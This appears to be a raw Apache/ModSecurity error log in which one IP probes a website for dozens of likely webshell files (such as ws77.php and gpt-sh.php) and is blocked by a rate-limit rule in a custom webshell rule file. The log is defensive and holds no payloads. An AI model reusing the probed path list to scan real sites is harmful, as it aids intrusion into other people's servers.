[Wed Apr 01 20:11:33.763762 2026] [:error] [pid 8909:tid 8958] [client 20.203.215.185:25428] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "ac0LdTvP_a0662gDl6CZDwAAANE"]
[Wed Apr 01 20:11:34.616434 2026] [:error] [pid 8909:tid 8947] [client 20.203.215.185:25454] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "ac0LdjvP_a0662gDl6CZHAAAAMY"]
[Wed Apr 01 20:11:35.304166 2026] [:error] [pid 8909:tid 8962] [client 20.203.215.185:23159] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "ac0LdzvP_a0662gDl6CZIQAAANU"]
[Wed Apr 01 20:11:36.483188 2026] [:error] [pid 8909:tid 8941] [client 20.203.215.185:25356] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "ac0LeDvP_a0662gDl6CZKAAAAMA"]
[Wed Apr 01 20:11:37.430545 2026] [:error] [pid 8908:tid 8918] [client 20.203.215.185:20056] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "ac0LefkmxtJXGnLdvgBwhgAAAIU"]
[Wed Apr 01 20:11:38.403492 2026] [:error] [pid 17856:tid 17864] [client 20.203.215.185:23068] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "ac0Lej7Idlm5j9frhqQOJQAAAEY"]
[Wed Apr 01 20:11:39.100406 2026] [:error] [pid 17856:tid 17867] [client 20.203.215.185:20050] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "ac0Lez7Idlm5j9frhqQOKwAAAEk"]
[Wed Apr 01 20:11:39.878332 2026] [:error] [pid 8910:tid 8988] [client 20.203.215.185:23112] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/north1.php"] [unique_id "ac0Le6JZINUcF3tYgExT4wAAARQ"]
[Wed Apr 01 20:11:40.643578 2026] [:error] [pid 8909:tid 8944] [client 20.203.215.185:16432] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/north1.php"] [unique_id "ac0LfDvP_a0662gDl6CZRAAAAMM"]
[Wed Apr 01 20:11:42.167578 2026] [:error] [pid 8908:tid 8920] [client 20.203.215.185:20089] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/north1.php"] [unique_id "ac0LfvkmxtJXGnLdvgBwjwAAAIc"]
[Wed Apr 01 20:11:42.861411 2026] [:error] [pid 8909:tid 8950] [client 20.203.215.185:27262] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/north1.php"] [unique_id "ac0LfjvP_a0662gDl6CZTQAAAMk"]
[Wed Apr 01 20:11:43.599572 2026] [:error] [pid 8908:tid 8913] [client 20.203.215.185:12049] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eee.php"] [unique_id "ac0Lf_kmxtJXGnLdvgBwlQAAAIA"]
[Wed Apr 01 20:11:44.883620 2026] [:error] [pid 8909:tid 8949] [client 20.203.215.185:32498] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eee.php"] [unique_id "ac0LgDvP_a0662gDl6CZWQAAAMg"]
[Wed Apr 01 20:11:45.449050 2026] [:error] [pid 62559:tid 62570] [client 20.203.215.185:25385] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eee.php"] [unique_id "ac0LgS7NKI8IaNKZFIeK6AAAAUk"]
[Wed Apr 01 20:11:46.258772 2026] [:error] [pid 8909:tid 8954] [client 20.203.215.185:18779] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eee.php"] [unique_id "ac0LgjvP_a0662gDl6CZYQAAAM0"]
[Wed Apr 01 20:11:47.086088 2026] [:error] [pid 8909:tid 8965] [client 20.203.215.185:20284] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "ac0LgzvP_a0662gDl6CZZwAAANg"]
[Wed Apr 01 20:11:48.124547 2026] [:error] [pid 8910:tid 8991] [client 20.203.215.185:30359] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "ac0LhKJZINUcF3tYgExT9QAAARc"]
[Wed Apr 01 20:11:48.858344 2026] [:error] [pid 8909:tid 8954] [client 20.203.215.185:23586] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "ac0LhDvP_a0662gDl6CZbgAAAM0"]
[Wed Apr 01 20:11:50.009844 2026] [:error] [pid 62559:tid 62572] [client 20.203.215.185:23143] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "ac0Lhi7NKI8IaNKZFIeK-AAAAUs"]
[Wed Apr 01 20:11:51.057539 2026] [:error] [pid 8908:tid 8930] [client 20.203.215.185:22651] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin.php"] [unique_id "ac0Lh_kmxtJXGnLdvgBwqAAAAJE"]
[Wed Apr 01 20:11:52.627581 2026] [:error] [pid 8995:tid 9012] [client 20.203.215.185:20054] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin.php"] [unique_id "ac0LiOonaBjs3qxcRee4FwAAAA4"]
[Wed Apr 01 20:11:54.452313 2026] [:error] [pid 8995:tid 9014] [client 20.203.215.185:13899] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin.php"] [unique_id "ac0LiuonaBjs3qxcRee4IQAAABA"]
[Wed Apr 01 20:11:56.042788 2026] [:error] [pid 62559:tid 62581] [client 20.203.215.185:30339] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin.php"] [unique_id "ac0LjC7NKI8IaNKZFIeLCQAAAVQ"]
[Wed Apr 01 20:11:57.277882 2026] [:error] [pid 8910:tid 8980] [client 20.203.215.185:20036] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "ac0LjaJZINUcF3tYgExT_AAAAQw"]
[Wed Apr 01 20:11:58.547175 2026] [:error] [pid 17856:tid 17871] [client 20.203.215.185:20053] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "ac0Ljj7Idlm5j9frhqQOegAAAE0"]
[Wed Apr 01 20:11:59.988945 2026] [:error] [pid 17856:tid 17863] [client 20.203.215.185:16705] File does not exist: /usr/local/apache/htdocs/suspended-page/ws77.php
[Wed Apr 01 20:12:00.296803 2026] [:error] [pid 17856:tid 17871] [client 20.203.215.185:16705] File does not exist: /usr/local/apache/htdocs/suspended-page/gpt-sh.php
[Wed Apr 01 20:12:00.540257 2026] [:error] [pid 17856:tid 17862] [client 20.203.215.185:16705] File does not exist: /usr/local/apache/htdocs/suspended-page/f6.php
[Wed Apr 01 20:12:00.793453 2026] [:error] [pid 17856:tid 17875] [client 20.203.215.185:16705] File does not exist: /usr/local/apache/htdocs/suspended-page/ws85.php
[Wed Apr 01 20:12:01.066309 2026] [:error] [pid 17856:tid 17860] [client 20.203.215.185:16705] File does not exist: /usr/local/apache/htdocs/suspended-page/wander.php
[Wed Apr 01 20:12:01.341645 2026] [:error] [pid 17856:tid 17873] [client 20.203.215.185:16705] File does not exist: /usr/local/apache/htdocs/suspended-page/h02ugyh.php
[Wed Apr 01 20:12:02.327801 2026] [:error] [pid 17856:tid 17871] [client 20.203.215.185:16705] File does not exist: /usr/local/apache/htdocs/suspended-page/ad.php
[Wed Apr 01 20:12:02.720177 2026] [:error] [pid 17856:tid 17871] [client 20.203.215.185:16705] File does not exist: /usr/local/apache/htdocs/suspended-page/z60.php
[Wed Apr 01 20:12:03.016075 2026] [:error] [pid 17856:tid 17858] [client 20.203.215.185:16705] File does not exist: /usr/local/apache/htdocs/suspended-page/gptsh.php
[Wed Apr 01 20:12:03.705159 2026] [:error] [pid 17856:tid 17875] [client 20.203.215.185:16705] File does not exist: /usr/local/apache/htdocs/suspended-page/sql.php
[Wed Apr 01 20:12:03.940897 2026] [:error] [pid 17856:tid 17869] [client 20.203.215.185:16705] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "ac0Lkz7Idlm5j9frhqQOnQAAAEs"]
[Wed Apr 01 20:12:05.492238 2026] [:error] [pid 17856:tid 17870] [client 20.203.215.185:22599] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "ac0LlT7Idlm5j9frhqQOogAAAEw"]
[Wed Apr 01 20:12:07.172125 2026] [:error] [pid 62559:tid 62577] [client 20.203.215.185:9575] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "ac0Lly7NKI8IaNKZFIeLIwAAAVA"]
[Wed Apr 01 20:12:08.793362 2026] [:error] [pid 8995:tid 9014] [client 20.203.215.185:25354] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "ac0LmOonaBjs3qxcRee4OgAAABA"]
[Wed Apr 01 20:12:09.534940 2026] [:error] [pid 8910:tid 8968] [client 20.203.215.185:23096] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "ac0LmaJZINUcF3tYgExUFAAAAQA"]
[Wed Apr 01 20:12:10.658087 2026] [:error] [pid 62559:tid 62583] [client 20.203.215.185:20275] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "ac0Lmi7NKI8IaNKZFIeLJgAAAVY"]
[Wed Apr 01 20:12:11.808777 2026] [:error] [pid 8909:tid 8947] [client 20.203.215.185:22639] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "ac0LmzvP_a0662gDl6CZvgAAAMY"]
[Wed Apr 01 20:12:12.615707 2026] [:error] [pid 8908:tid 8923] [client 20.203.215.185:18037] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "ac0LnPkmxtJXGnLdvgBw0wAAAIo"]
[Wed Apr 01 20:12:13.533898 2026] [:error] [pid 17856:tid 17870] [client 20.203.215.185:21627] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "ac0LnT7Idlm5j9frhqQOsAAAAEw"]
[Wed Apr 01 20:12:14.583603 2026] [:error] [pid 17856:tid 17864] [client 20.203.215.185:17474] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "ac0Lnj7Idlm5j9frhqQOtgAAAEY"]
[Wed Apr 01 20:12:16.505691 2026] [:error] [pid 8910:tid 8986] [client 20.203.215.185:14601] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "ac0LoKJZINUcF3tYgExUHAAAARI"]
[Wed Apr 01 20:12:17.205612 2026] [:error] [pid 8909:tid 8950] [client 20.203.215.185:32459] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "ac0LoTvP_a0662gDl6CZ0gAAAMk"]
[Wed Apr 01 20:12:18.006064 2026] [:error] [pid 8995:tid 9001] [client 20.203.215.185:12567] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "ac0LouonaBjs3qxcRee4SgAAAAM"]
[Wed Apr 01 20:12:18.801650 2026] [:error] [pid 17856:tid 17866] [client 20.203.215.185:18032] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "ac0Loj7Idlm5j9frhqQOzAAAAEg"]
[Wed Apr 01 20:12:19.427853 2026] [:error] [pid 8910:tid 8982] [client 20.203.215.185:23059] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "ac0Lo6JZINUcF3tYgExUJgAAAQ4"]
[Wed Apr 01 20:12:20.171893 2026] [:error] [pid 62559:tid 62569] [client 20.203.215.185:27718] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "ac0LpC7NKI8IaNKZFIeLOgAAAUg"]
[Wed Apr 01 20:12:21.534729 2026] [:error] [pid 8909:tid 8948] [client 20.203.215.185:20254] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uang.php"] [unique_id "ac0LpTvP_a0662gDl6CZ3wAAAMc"]
[Wed Apr 01 20:12:22.359874 2026] [:error] [pid 8909:tid 8964] [client 20.203.215.185:22636] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uang.php"] [unique_id "ac0LpjvP_a0662gDl6CZ5gAAANc"]
[Wed Apr 01 20:12:23.986572 2026] [:error] [pid 8910:tid 8969] [client 20.203.215.185:12555] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uang.php"] [unique_id "ac0Lp6JZINUcF3tYgExUMwAAAQE"]
[Wed Apr 01 20:12:25.303668 2026] [:error] [pid 62559:tid 62565] [client 20.203.215.185:32458] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uang.php"] [unique_id "ac0LqS7NKI8IaNKZFIeLSgAAAUQ"]
[Wed Apr 01 20:12:30.199231 2026] [:error] [pid 62559:tid 62575] [client 20.203.215.185:32486] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/save.php"] [unique_id "ac0Lri7NKI8IaNKZFIeLYQAAAU4"]
[Wed Apr 01 20:12:31.542780 2026] [:error] [pid 8995:tid 9020] [client 20.203.215.185:32478] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/save.php"] [unique_id "ac0Lr-onaBjs3qxcRee4YgAAABY"]
[Wed Apr 01 20:12:33.307679 2026] [:error] [pid 62559:tid 62561] [client 20.203.215.185:20069] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/save.php"] [unique_id "ac0LsS7NKI8IaNKZFIeLdwAAAUA"]
[Wed Apr 01 20:12:35.726957 2026] [:error] [pid 8908:tid 8927] [client 20.203.215.185:32493] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/save.php"] [unique_id "ac0Ls_kmxtJXGnLdvgBw9AAAAI4"]
[Wed Apr 01 20:12:36.966157 2026] [:error] [pid 17856:tid 17881] [client 20.203.215.185:23109] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "ac0LtD7Idlm5j9frhqQPAwAAAFc"]
[Wed Apr 01 20:12:38.078542 2026] [:error] [pid 62559:tid 62573] [client 20.203.215.185:20271] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "ac0Lti7NKI8IaNKZFIeLigAAAUw"]
[Wed Apr 01 20:12:39.159922 2026] [:error] [pid 8995:tid 9006] [client 20.203.215.185:35434] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "ac0Lt-onaBjs3qxcRee4cgAAAAg"]
